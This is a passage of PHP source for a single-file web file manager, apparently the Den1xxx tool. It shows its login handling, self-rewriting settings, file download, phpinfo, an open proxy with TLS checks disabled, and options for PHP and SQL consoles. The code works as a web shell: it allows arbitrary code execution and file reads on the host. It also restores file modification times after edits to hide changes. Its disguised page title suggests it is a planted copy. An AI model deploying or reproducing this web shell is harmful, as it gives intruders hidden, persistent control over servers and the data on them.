                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
